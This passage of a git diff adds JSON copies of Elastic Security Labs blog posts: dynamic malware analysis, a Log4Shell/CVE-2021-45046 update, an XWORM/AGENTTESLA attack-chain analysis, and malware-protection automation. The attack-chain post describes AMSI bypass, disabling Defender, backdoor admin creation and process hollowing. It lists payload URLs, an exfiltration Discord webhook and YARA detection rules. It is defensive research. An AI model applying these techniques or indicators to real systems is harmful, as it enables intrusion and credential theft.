false](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image17.jpg)\n\nAfter setting “known\\_benign” to false, we end up with 1,321,949 documents. This is a decrease of 96.83% in document count.\n\n![Results after filtering on known_benign = false](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image4.png)\n\nThe table below presents an overview of each data source and its corresponding number of documents before and after filtering on our “known\\_benign” field.\n\n![Results of filtering out benign data](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/Screenshot_2023-07-27_at_11.08.25_AM.jpg)\n\nWe can see that we managed to successfully filter most data sources by a decent percentage. Additionally, the numbers presented in the “after” column include malicious data that we do want to capture. For example, amongst the different malware samples several included ransomware - which tends to create a lot of file events. Also, all of the http traffic originated from malware samples trying to connect to their C2’s. The auditd\\_manager and fim.event datasets include a lot of the syscalls and file changes performed by the samples.\n\nWhile building out this pipeline, several lessons were learnt. First of all, as mentioned before, if you add one wrong field to the fingerprint calculation the whole dataset might end up generating lots of noise. This can be seen by adding the source.port to the packetbeat fingerprint calculation, resulting in the endpoint.events.network and all network\\_traffic-\\* datasets to increase drastically.\n\nThe second lesson we learned: it is not only important to have a representative dataset, but it is also important to have a large dataset. These two go hand in hand, but we learnt that having a small dataset or a dataset that does not generate very similar behavior to the dataset that will be ingested later, will cause the pipelines to be less than half as effective.\n\nFinally, some data sources are better suited for this filtering approach than others. For example, when dealing with `system.syslog` and `system.auth` events, most of the fields within the document (except the message field) are always the same. As we cannot use this approach for unstructured data, such as plain text fields, our filter would filter out 99% of the events when just looking at the remaining fields.\n\n### Visualizing results\n\nKibana offers many great options to visualize large datasets. We chose to leverage the Lens functionality within Kibana to search through our malicious dataset. By setting `known\\_benign` to false, setting `count of fingerprint` as a metric, and sorting by ascending order, we can right away see different malware samples execute different tasks. Examples of file events is shown below.\n\n![Using Lens to visualize malicious file events](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image2.png)\n\nWithin this table, we can see - suspicious files being created in the `/dev/shm/` directory - “ `HOW_TO_DECRYPT.txt` ” file creations indicating the creation of a ransom message - Files being changed to contain new random file extensions, indicating the ransomware encryption process.\n\nWhen looking into file integrity monitoring events, we can also very easily distinguish benign events from malicious events by applying the same filter.\n\n![Using Lens to visualize malicious symlink events](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image10.jpg)\n\nRight away we notice the creation of a symlink for a `linux.service` and `bot.service` , and several run control symlinks to establish persistence onto the system.\n\nLooking at network connections, we can see `connection\\_attempted` events from malicious samples to potential C2 servers on several uncommon ports.\n\n![Using Lens to visualize malicious network connections](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image19.jpg)\n\nFinally, looking at auditd manager syscall events, we can see the malware opening files such as cmdline and maps and attempting to change the permissions of several files.\n\n![Using Lens to visualize malicious syscalls](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image11.png)\n\nOverall, in our opinion the data cleaning results are very promising and allow us to more efficiently conduct dynamic malware analysis on a large scale. The process can always be further optimized, so feel free to take advantage of our approach and fine tune it to your specific needs.\n\n## Beyond Dynamic Malware Analysis\n\nIn the previous sections we described our exact use case for leveraging fingerprint and enrich ingest pipelines. Other than malware analysis, there are many other fields that can reap the benefits of a workflow similar to the one outlined above. Several of these applications and use cases are described below:\n\n- Forensics and Security: Fingerprinting can be employed in digital forensics and security investigations to identify and link related artifacts or events. It helps in tracing the origin of data, analyzing patterns, and identifying potential threats or anomalies in log files, network traffic, or system events. Researchers over at Microsoft leveraged fuzzy hashing in [previous research](https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/fuzzy-hashing-logs-to-find-malicious-activity/ba-p/3786669) to detect malicious web shell traffic. \n- Identity Resolution: Fingerprinting can be used to uniquely identify individuals or entities across different data sources. This is useful in applications like fraud detection, customer relationship management, and data integration, where matching and merging records based on unique identifiers is crucial.\n- Data Deduplication: Fingerprinting can help identify and eliminate duplicate records or documents within a dataset. By comparing fingerprints, you can efficiently detect and remove duplicate entries, ensuring data integrity and improving storage efficiency. Readers interested in data deduplication use cases might find great value in pre-built tools such as [Logslash](https://blog.foxio.io/introducing-logslash-and-the-end-of-traditional-logging-2c6708b6fc1c) to achieve this goal.\n- Content Management: Fingerprinting can be used in content management systems to detect duplicate or similar documents, images, or media files. It aids in content deduplication, similarity matching, and content-based searching by improving search accuracy and enhancing the overall user experience.\n- Media Identification: Fingerprinting techniques are widely used in media identification and recognition systems. By generating unique fingerprints for audio or video content, it becomes possible to identify copyrighted material, detect plagiarism, or enable content recommendation systems based on media similarity.\n\n## Conclusion\n\nThere are many different approaches to dynamic malware analysis. This blog post explored some of these options by leveraging the powerful capabilities offered by Elastic. Our aim was to both present a new method of dynamic malware analysis while at the same time broadening your understanding and knowledge of the built-in functionalities within Elastic.\n\nElastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.\n\nFollow Elastic Security Labs on Twitter @elasticseclabs and check out our research at [www.elastic.co/security-labs/](http://www.elastic.co/security-labs/).\n\n" + }, + "title": "An Elastic approach to large-scale dynamic malware analysis", + "slug": "an-elastic-approach-to-large-scale-dynamic-malware-analysis", + "date": "2023-07-31", + "description": "This research reveals insights into some of the large-scale malware analysis performed by Elastic Security Labs, and complements research related to the Detonate framework.", + "author": [ + { + "slug": "ruben-groenewoud" + }, + { + "slug": "remco-sprooten" + } + ], + "image": "blog-thumb-steel-engine.jpg", + "category": null + }, + "id": "security_labs_content-an_elastic_approach_to_large_scale_dynamic_malware_analysis-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-analysis_of_log4shell_cve_2021_45046-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-analysis_of_log4shell_cve_2021_45046-md.json new file mode 100644 index 00000000000..b9a6828543b --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-analysis_of_log4shell_cve_2021_45046-md.json @@ -0,0 +1,27 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"Analysis of Log4Shell vulnerability & CVE-2021-45046\"\nslug: \"analysis-of-log4shell-cve-2021-45046\"\ndate: \"2022-11-30\"\ndescription: \"In this post, we cover next steps the Elastic Security team is taking for users to continue to protect themselves against CVE-2021-44228, or Log4Shell.\"\nauthor:\n - slug: jake-king\nimage: \"photo-edited-12-e.jpg\"\ncategory:\n - slug: security-research\n - slug: vulnerability-updates\n---\n\n> _To understand how Elastic is currently assessing internal risk of this vulnerability in our products please see the advisory_[_here._](https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476)\n>\n> _This document was updated on December 17, 2021 to reflect a revised CVSS score for CVE-2021-45046, and new findings by the community._\n\nIn recent days Log4Shell, or CVE-2021-44228, has dominated the news cycle in the world of information security and beyond. Elastic released an [advisory](https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476?ultron=log4js-exploit&blade=announcement&hulk=email&mkt_tok=ODEzLU1BTS0zOTIAAAGBU8N1ZUOwzTcRbJCOiByHmeYiopMnarq-QPWBIyhPI3Vvsp6w-4q4PBbTGZ3fZ0sB75cpaUdOddA1k-6-yh3QwAicvJTgafdJWv_-9Cn2GoKLvsmt) detailing how Elastic products and users are impacted, and a [blog](https://www.elastic.co/blog/detecting-log4j2-with-elastic-security?ultron=log4js-exploit&blade=announcement&hulk=email&mkt_tok=ODEzLU1BTS0zOTIAAAGBU8N1ZDYRbFq2QZ4ZK8tc2IbDatArsdI6WGcA2M90g4v02svJeqCXFeZ23R4TjeYii4KBGAkqMBgWc5IkxYrmefgwZBanjGQh8v66drUymiVSQFvs) post describing how our users can leverage Elastic Security to help defend their networks.\n\nMany readers have further questions as to how we’re tracking this issue within Elastic Security, what our coverage is now, and what we’re expecting to do next. This post outlines a few details for our current status, and provides details regarding a new, related vulnerability: CVE-2021-45046.\n\n## Elastic Security response\n\nAs you may imagine, the team has worked tirelessly to ensure that we’re developing detections for both active exploitation of the vulnerability, as well as post-compromise indicators, and will continue active development until further notice.\n\nWe’re spending time focusing on detailed detections that better align with some of the emerging trends that adversaries are now taking advantage of as they have time to develop their attack strategies. And we’re not working in silence — those that may have had a chance to catch up on our [original post](https://www.elastic.co/blog/detecting-log4j2-with-elastic-security) a few days ago will be pleasantly surprised we’ve added further detections and hunting examples, and will continue to do so as we learn more with the community.\n\nAlongside the threat research and signature development, we’ve noted some interesting observations:\n\n- We noted several instances of [generic crypto miners](https://www.virustotal.com/gui/file/5b25db204b5cd5cc3193f4378dd270dced80da9d39874d8b6fdd75e97d2cc907/detection) for Linux being deployed that appeared to be related to exploitation of this CVE, but determined that they are benign true positives\n- We’ve stopped at least eight different families of malware being deployed using the log4j exploit, indicating widespread adoption of the exploit by threats of all kinds\n- While we are observing coverage across our full protection suite (such as behavior protection), it is noteworthy that our free basic-tier malware protection is successfully preventing initial access\n\nWe will aim to keep users and readers apprised of findings, and hope to share additional observations in the wild as we see them.\n\n## A new contender: CVE-2021-45046\n\nWhile we watch the CVE-2021-44228 (Log4Shell) vulnerability dominate the news cycles, a new contender, [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046), was accidentally introduced to Log4j2j version 2.15.0, allowing adversaries to invoke a Denial of Service, and a remote code execution condition through specially crafted payloads. Previous mitigations to avoid Information Disclosure vulnerabilities by setting the `log4j2.noFormatMsgLookup` state to `true` do not mitigate against this new finding, according to the CVE details.\n\nWhile initially CVE-2021-45046 carried a lower CVSS score of 3.7 due to the impact of the initially discovered condition that can be invoked, this was re-evaluated to a 9.0 indicating limited remote code execution was possible. The finding was shared on December 16, 2021 by [Alvaro Muñoz](https://twitter.com/pwntester/status/1471465662975561734), who identified that while the default setting formatMsgNoLookups was accurately set to true, there were alternative locations for lookups to take place. Technical details are still unfolding from the community, however the Log4j2 team shared the following message within their security updates:\n\n_The reason these measures are insufficient is that, in addition to the Thread Context attack vector mentioned above, there are still code paths in Log4j where message lookups could occur: known examples are applications that use Logger.printf(\"%s\", userInput), or applications that use a custom message factory, where the resulting messages do not implement StringBuilderFormattable. There may be other attack vectors._\n\n_The safest thing to do is to upgrade Log4j to a safe version, or remove the JndiLookup class from the log4j-core jar._ [_Reference here_](https://logging.apache.org/log4j/2.x/security.html)\n\nGiven this new information, and readily available[POCs](https://twitter.com/marcioalm/status/1471740771581652995) available for exploitation, the Apache team has recommended those impacted upgrade to the latest, safe version of Log4j2, or alternatively remove the JndiLookup class from the log4j-core jar.\n\nElastic Security has observed many threat actors and benign scanners leveraging this new methodology already in some edge environments, with payloads incorporating previous attack methodologies such as key extraction attempts and base64 encoded payloads:\n\n![A preview of the rapid acceleration of scanning attempts adopting this new vulnerability](/assets/images/analysis-of-log4shell-cve-2021-45046/scanning-attempts-vulnerability.jpg)\n\nWe anticipate adding further details as we learn them, and thank the team at lunasec specifically for providing a [detailed, early summary](https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/) of this emerging situation, and of course, provide kudos to [Alvaro Muñoz](https://twitter.com/pwntester) of Github Security Lab for the findings.\n\n## Thank you (again!), from Elastic Security\n\nWe want to thank all of the security teams across the globe for your tireless work this week. As we referenced before, openness and collaboration in the security community to safeguard all users is paramount when facing such a serious and pervasive vulnerability.\n\nExisting Elastic Security users can access these capabilities within the product. If you’re new to Elastic Security, take a look at our [Quick Start guides](https://www.elastic.co/training/elastic-security-quick-start) (bite-sized training videos to get you started quickly) or our [free fundamentals training courses](https://www.elastic.co/training/free#fundamentals).\n\nGet started with a [free 14-day trial of Elastic Cloud](https://cloud.elastic.co/registration). Or [download](https://www.elastic.co/downloads/) the self-managed version of the Elastic Stack for free.\n\n### References\n\n[https://logging.apache.org/log4j/2.x/security.html](https://logging.apache.org/log4j/2.x/security.html)\n\n[https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/](https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/)\n" + }, + "title": "Analysis of Log4Shell vulnerability & CVE-2021-45046", + "slug": "analysis-of-log4shell-cve-2021-45046", + "date": "2022-11-30", + "description": "In this post, we cover next steps the Elastic Security team is taking for users to continue to protect themselves against CVE-2021-44228, or Log4Shell.", + "author": [ + { + "slug": "jake-king" + } + ], + "image": "photo-edited-12-e.jpg", + "category": [ + { + "slug": "security-research" + }, + { + "slug": "vulnerability-updates" + } + ] + }, + "id": "security_labs_content-analysis_of_log4shell_cve_2021_45046-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-attack_chain_leads_to_xworm_and_agenttesla-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-attack_chain_leads_to_xworm_and_agenttesla-md.json new file mode 100644 index 00000000000..11e56371953 --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-attack_chain_leads_to_xworm_and_agenttesla-md.json @@ -0,0 +1,31 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"Attack chain leads to XWORM and AGENTTESLA\"\nslug: \"attack-chain-leads-to-xworm-and-agenttesla\"\ndate: \"2023-04-10\"\ndescription: \"Our team has recently observed a new malware campaign that employs a well-developed process with multiple stages. The campaign is designed to trick unsuspecting users into clicking on the documents, which appear to be legitimate.\"\nauthor:\n - slug: salim-bitam\nimage: \"blog-thumb-coin-stacks.jpg\"\ncategory:\n - slug: attack-pattern\n - slug: malware-analysis\ntags:\n - xworm\n - agenttesla\n---\n\n## Key Takeaways\n\n- Threat actors are deploying known malware using their own custom .NET loaders\n- The threat actors employ simple and well-known tactics such as bypassing AMSI through patching and a basic custom .NET loader\n- The threat actors are abusing legitimate free file hosting services\n\n## Preamble\n\nOur team has recently observed a new malware campaign that employs a well-developed process with multiple stages. The campaign is designed to trick unsuspecting users into clicking on the documents, which appear to be legitimate, but are in fact fake, the adversary leverages weaponized word documents to execute malicious PowerShell scripts, and also utilizes a custom obfuscated .NET loader to load various malware strains, including XWORM and AGENTTESLA.\n\n## RTF loader code analysis\n\n### Overview\n\nDuring a recent investigation, we discovered a malicious word document named `Card & Booking Details.docx`. This document has been designed with the intent to deceive the victim and includes two falsified scanned documents, namely a credit card and a passport.\n\nUpon opening the document, an RTF object hosted at `www.mediafire[.]com/file/79jzbqigitjp2v2/p2.rtf` is fetched.\n\nThis RTF object contains a macro-enabled Excel object. When opened, this macro downloads an obfuscated powerShell script which in turn deploys different malware families.\n\nAt the time of this writing, we have observed two distinct malware families, namely XWORM and AGENTTESLA, have been deployed through this execution chain. Both malware families mentioned above are loaded into the compromised system's memory by the same custom .NET loader. Once loaded, the malicious payload can carry out a range of functions, such as stealing sensitive data and executing commands on the compromised system.\n\n![Execution flow diagram](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image8.png)\n\nIn this research post, we will walk through the initial execution of the malware and detail the capabilities we discovered.\n\n### Extracting the malicious VBA\n\nThe RTF document contains multiple embedded objects, including an interesting one that caught our attention: `Excel.SheetMacroEnabled`.\n\n![Listing objects embedded in the RTF document](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image1.jpg)\n\nWe can use [`rtfdumpy.py`](https://github.com/DidierStevens/DidierStevensSuite/blob/master/rtfdump.py), a script developed by Didier Stevens to analyze RTF files, to dump the object and [`olevba.py`](https://www.decalage.info/python/olevba), a script developed by Philippe Lagadec, to extract any embedded VBA scripts from an [OLE](https://en.wikipedia.org/wiki/Object_Linking_and_Embedding) object. The extracted VBA script shown below downloads and executes a malicious powershell script from `https://www.mediafire[.]com/file/xnqxmqlcj51501d/7000m.txt/file`.\n\n![Extracting the VBA script from the Excel sheet object](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image2.png)\n\n### Powershell script analysis\n\nThe malicious PowerShell script is obfuscated using string substitution to evade detection and make analysis more difficult.\n\n![Powershell script obfuscated using string substitution](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image13.png)\n\nIt contains additional powershell script blocks in hex format that will be deployed in the infected machine designed to prepare the environment by setting up persistence, bypassing AMSI, disabling Windows defender and creating a mechanism to update the malware. The ultimate objective is to install two .NET binaries, namely a loader and a payload (XWORM / AGENTTESLA).\n\n### Deleting the malicious document\n\nThe malware starts by deleting the original Word document, first killing the process `Winword.exe` and then deleting all .DOCX files located in the default `Downloads` and `Desktop` folders of every user. This initial step shows the malware's destructive nature and how it can potentially harm the user's data.\n\n![Powershell command to delete the malicious word document](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image5.jpg)\n\n### Persistence\n\nThe malware creates a directory in the path `C:\\ProgramData\\MinMinons` , which is used to store other Powershell scripts and binaries. The currently running Powershell script is then copied to `C:\\ProgramData\\MinMinons\\Candlegraphy.\\_\\_\\_`.\n\nNext, the malware deobfuscates the first embedded Powershell script which is used to create persistence. It first writes a JScript file that invokes the original Powershell script saved in `C:\\ProgramData\\MinMinons\\Candlegraphy.\\_\\_\\_` through the activeXObject shell, then a scheduled task named “MOperaChrome” is created to run the JScript file using the Microsoft signed [Windows Script Host (WSH) utility](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript), `wscript.exe`.\n\n![Persistence through task scheduling](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image10.jpg)\n\n### AMSI bypass\n\nThe second embedded powershell script is responsible for bypassing AMSI by patching the `amsiInitFailed` flag. In doing so, the initialization of AMSI fails, leading to the prevention of any scan being initiated for the ongoing process. Furthermore, the PowerShell script proceeds to disable the Microsoft Windows Defender service.\n\n![Disabling WinDefend service](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image5.jpg)\n\n### User creation\n\nThe script creates a local administrator account named “System32” and adds it to the Remote Desktop Users group. This enables the attacker to log in via Remote Desktop Protocol (RDP). Next, the script disables the machine's firewall to allow inbound RDP connection attempts which aren’t filtered by edge controls.\n\n![Creating a backdoor user](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image9.jpg)\n\n### Malware update persistence\n\nThe third embedded script stores a secondary JScript file, whose purpose is downloading a revised or updated version of the malware. This file is saved to a predetermined location at `C:\\ProgramData\\MinMinons\\miguan.js`. Furthermore, a scheduled task with the name (“miguaned”) is created to execute the JScript file through `wscript.exe` , similar to the previously described task.\n\nThe JScript creates an instance of `WScript.Shell` object by calling ActiveXObject with the following CLSID `{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}` which corresponds to Shell Object, then downloads from the URL `https://billielishhui.blogspot[.]com/atom.xml` the update powershell malware.\n\n![JScript script used for updating the malware](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image4.jpg)\n\n### .NET loader\n\nThe custom DOTNET loader employs the [P/INVOKE technique](https://learn.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke) to call the native Windows API and inject a payload into a signed microsoft binary via [process hollowing](https://attack.mitre.org/techniques/T1055/012/).\n\nThe loader’s code employs various obfuscation techniques to hinder analysis, including the use of dead instruction, renamed symbols to make the code less readable and more confusion and encoded strings. Fortunately a tool like [de4dot](https://github.com/de4dot/de4dot) can be used to output a human-readable version of it.\n\n![.NET loader code obfuscation](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image12.jpg)\n\nThe malware leverages the `LoadLibrary` and `GetProcAddress` APIs to access the required Windows APIs. To obscure the names of these APIs, the loader stores them in an encoded format within the binary file, utilizing a sequence of substitution and string reversal methods.\n\n![.NET loader string obfuscation](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image3.jpg)\n\nThe loader then starts a process in a suspended state using `CreateProcessA` API. The following is the list of executables it uses as a host for it’s malicious code:\n\n- `C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe`\n- `C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegSvcs.exe`\n- `C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Msbuild.exe`\n\nThese binaries are signed and trusted by the system and can evade detection by security software that relies on whitelisting system processes. It then uses `Zwunmapviewofsection` to unmap the memory of the target process, writes the payload to the suspended process and then resume the thread using `ResumeThread` API.\n\n### Final payload\n\nDuring our research we discovered that the threat actor has been deploying different payloads. Namely, we observed 2 families: XWORM and AGENTTESLA.\n\nXWORM has gained notoriety in the underground criminal marketplace due to its ability to employ sophisticated capabilities like virtualization and sandbox detection, used to avoid detection and support persistence within an infected system.\n\nOf particular concern is the fact that XWORM is readily available on the internet as a cracked version, with version 2.1 being especially prevalent. This highlights the dangers of underground cybercrime markets and the ease with which malicious actors can access and utilize powerful tools.\n\nTwo different versions of the XWORM family were observed versions 2.2 and 3.1. The following is the configuration of a XWORM sample in plain text.\n\n![XWorm configuration](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image14.jpg)\n\nAGENTTESLA is a trojan and credential stealer written in .NET. While it first emerged in 2014, it is now among the most active and malicious software. AGENTTESLA is affordably priced and includes support from the developers, making it easily accessible to cybercriminals with limited technical skills.\n\nThe sample we analyzed was heavily obfuscated, masqueraded as an AVG installer,and leverages discord for C2. It uploads stolen information to the attacker’s Discord channel via the following webhook: `https://discord[.]com/api/webhooks/1089956337733087274/uYNA_D8Ns1z9NZ3B1mGp0XXyGq-785KLGIfEAZsrz3TJd5fvOjXA927F7bUTTzbNT6Zk`.\n\n![Agent Tesla masquerading as an AVG installer](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image6.jpg)\n\n![The discord webhook extracted dynamically](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image7.png)\n\n## Observed adversary tactics and techniques\n\nElastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use.\n\n## Tactics\n\nTactics represent the “why” of a technique or sub-technique. They represent the adversary’s tactical goals: the reason for performing an action.\n\n- [Initial access](https://attack.mitre.org/tactics/TA0001)\n- [Execution](https://attack.mitre.org/tactics/TA0002)\n- [Persistence](https://attack.mitre.org/tactics/TA0003)\n- [Command and control](https://attack.mitre.org/tactics/TA0011)\n- [Defense evasion](https://attack.mitre.org/tactics/TA0005)\n\n## Techniques/subtechniques\n\nTechniques and Subtechniques represent how an adversary achieves a tactical goal by performing an action.\n\n- [Process injection](https://attack.mitre.org/techniques/T1055/)\n- [Indicator removal: File deletion](https://attack.mitre.org/techniques/T1070/004/)\n- [Scheduled task/job: Scheduled task](https://attack.mitre.org/techniques/T1053/005/)\n- [User Execution: Malicious File](https://attack.mitre.org/techniques/T1204/002/)\n- [Phishing: Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001/)\n- [Command and Scripting Interpreter: Powershell](https://attack.mitre.org/techniques/T1059/003/)\n- [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027/)\n- [Impair Defenses: Disable or Modify Tools](https://attack.mitre.org/techniques/T1629/003/)\n- [Create Account](https://attack.mitre.org/techniques/T1136/)\n\n## Detection logic\n\n### YARA\n\nElastic Security has created YARA rules to identify this activity. Below are YARA rules to identify XWORM and [AGENTTESLA](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_AgentTesla.yar) malware families.\n\n```\nrule Windows_Trojan_Xworm_732e6c12 {\nmeta:\n author = \"Elastic Security\"\n id = \"732e6c12-9ee0-4d04-a6e4-9eef874e2716\"\n fingerprint = \"afbef8e590105e16bbd87bd726f4a3391cd6a4489f7a4255ba78a3af761ad2f0\"\n creation_date = \"2023-04-03\"\n last_modified = \"2023-04-03\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"Xworm\"\n threat_name = \"Windows.Trojan.Xworm\"\n source = \"Manual\"\n maturity = \"Diagnostic\"\n reference_sample = \"bf5ea8d5fd573abb86de0f27e64df194e7f9efbaadd5063dee8ff9c5c3baeaa2\"\n scan_type = \"File, Memory\"\n severity = 100\n\nstrings:\n $str1 = \"startsp\" ascii wide fullword\n $str2 = \"injRun\" ascii wide fullword\n $str3 = \"getinfo\" ascii wide fullword\n $str4 = \"Xinfo\" ascii wide fullword\n $str5 = \"openhide\" ascii wide fullword\n $str6 = \"WScript.Shell\" ascii wide fullword\n $str7 = \"hidefolderfile\" ascii wide fullword\ncondition:\n all of them}\n\nrule Windows_Trojan_AgentTesla_d3ac2b2f {\nmeta:\n author = \"Elastic Security\"\n id = \"d3ac2b2f-14fc-4851-8a57-41032e386aeb\"\n fingerprint = \"cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc\"\n creation_date = \"2021-03-22\"\n last_modified = \"2022-06-20\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"AgentTesla\"\n threat_name = \"Windows.Trojan.AgentTesla\"\n source = \"Manual\"\n maturity = \"Diagnostic, Production\"\n reference_sample = \"65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4\"\n scan_type = \"File, Memory\"\n severity = 100\n\nstrings:\n $a1 = \"GetMozillaFromLogins\" ascii fullword\n $a2 = \"AccountConfiguration+username\" wide fullword\n $a3 = \"MailAccountConfiguration\" ascii fullword\n $a4 = \"KillTorProcess\" ascii fullword\n $a5 = \"SmtpAccountConfiguration\" ascii fullword\n $a6 = \"GetMozillaFromSQLite\" ascii fullword\n```\n" + }, + "title": "Attack chain leads to XWORM and AGENTTESLA", + "slug": "attack-chain-leads-to-xworm-and-agenttesla", + "date": "2023-04-10", + "description": "Our team has recently observed a new malware campaign that employs a well-developed process with multiple stages. The campaign is designed to trick unsuspecting users into clicking on the documents, which appear to be legitimate.", + "author": [ + { + "slug": "salim-bitam" + } + ], + "image": "blog-thumb-coin-stacks.jpg", + "category": [ + { + "slug": "attack-pattern" + }, + { + "slug": "malware-analysis" + } + ], + "tags": [ + "xworm", + "agenttesla" + ] + }, + "id": "security_labs_content-attack_chain_leads_to_xworm_and_agenttesla-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-automating_security_protections_rapid_response_to_malware-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-automating_security_protections_rapid_response_to_malware-md.json new file mode 100644 index 00000000000..d1bf583c46a --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-automating_security_protections_rapid_response_to_malware-md.json @@ -0,0 +1,27 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"Automating the Security Protections rapid response to malware\"\nslug: \"automating-security-protections-rapid-response-to-malware\"\ndate: \"2023-03-01\"\ndescription: \"See how we’ve been improving the processes that allow us to make updates quickly in response to new information and propagate those protections to our users, with the help of machine learning models.\"\nauthor:\n - slug: samantha-zeitlin\nimage: \"blog-security-endpoint-720x420.png\"\ncategory:\n - slug: machine-learning\n - slug: detection-science\n---\n\nCyber attacks on corporate networks were [up 50% in 2021](https://www.forbes.com/sites/chuckbrooks/2022/01/21/cybersecurity-in-2022--a-fresh-look-at-some-very-alarming-stats/?sh=675676ea6b61), and it’s [expected that 2022 will see more of the same](https://www.govtech.com/blogs/lohrmann-on-cybersecurity/the-top-22-security-predictions-for-2022). [Elastic Endpoint Security](https://www.elastic.co/endpoint-security/) includes a variety of protection layers to ensure maximum coverage against different types of malware. There have been a few examples recently of the need for [fast, accurate updates](https://www.elastic.co/blog/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper) of user environments in order to protect against the latest malware. Here at Elastic, we’ve been improving the processes that allow us to make updates quickly in response to new information and propagate those protections to our users.\n\nAs part of our security solution, we use a machine learning model to help us detect malware based on known characteristics. Since machine learning is never perfect, we deploy supplemental artifacts, including lists of known file hashes that range from malicious to benign. There are two scenarios when we might need to update these lists, which we’ll cover here. Using these, teams can experience a much faster response to malware.\n\n[Related article: [Sandboxing anti-malware products for fun and profit](https://www.elastic.co/blog/sandboxing-anti-malware-products-for-fun-and-profit)]\n\n## Scenario 1: The model isn’t perfect\n\nThis happens pretty rarely, since our model has True Negative rates of 99.8%. But no model is perfect, and our True Positive rates vary from 99% (which is great) down to 97.9%, due to noisy data — particularly large bursts of near-duplicates. In applying machine learning to cybersecurity, data drift is an ever-present challenge and part of what makes it such an interesting problem.\n\nThere are a couple of ways we can find out if our model is doing the wrong thing:\n\n1. **User feedback.**\n\nA user sends us an email telling us that a piece of custom software is being flagged as malware, but is actually safe.\n\n2. **Telemetry data coming back from our model running on customers’ machines.**\n\nWe look at the volume and velocity of alerts, using Elastic’s Anomaly Detection feature to let us know if there is a sudden spike from a particular file. We also use patterns to help us confirm if an alert is coming from a single noisy machine, a test cluster, or a legitimate threat.\n\nThe advantage of using lists as a backstop to machine learning is that it’s a fast and easy way to make sure our customers are protected from new malware, as well as protecting them from unnecessary noise from false positives.\n\n## Scenario 2: New forms of malware appear\n\nWe typically find out about new kinds of malware from either security news/community resources, or our own Security Intelligence and Analytics team identifying new kinds of malware.\n\nWhen this happens, we can easily deploy small changes to lists. We update the model separately, because that takes longer.\n\nWe’ve been steadily adding more automation to make this process of deploying updated lists to customers smoother and faster, with the goal of making it easy for anyone on the team to create and deploy an update. We’ve also been working on making the process of updating the model easier and faster.\n\n## Threats yet discovered…\n\nThe Elastic Security Intelligence and Analytics team continues to research and respond to groundbreaking threats in its mission to help Elastic customers and the broader security community. If you’re using [Elastic Security](https://www.elastic.co/security?utm_source=log4j+hub+blog&utm_medium=embed+link&utm_campaign=log4j_hub_blog&utm_id=log4j&utm_content=elastic+security) already, you can expect to see our latest findings in the newsfeed within the platform. We’ll also post our latest findings on [elastic.co/blog](https://www.elastic.co/blog).\n\nReady to become part of the Elastic Security community and take advantage of the team’s leading threat research? Get started with a free [14-day trial of Elastic 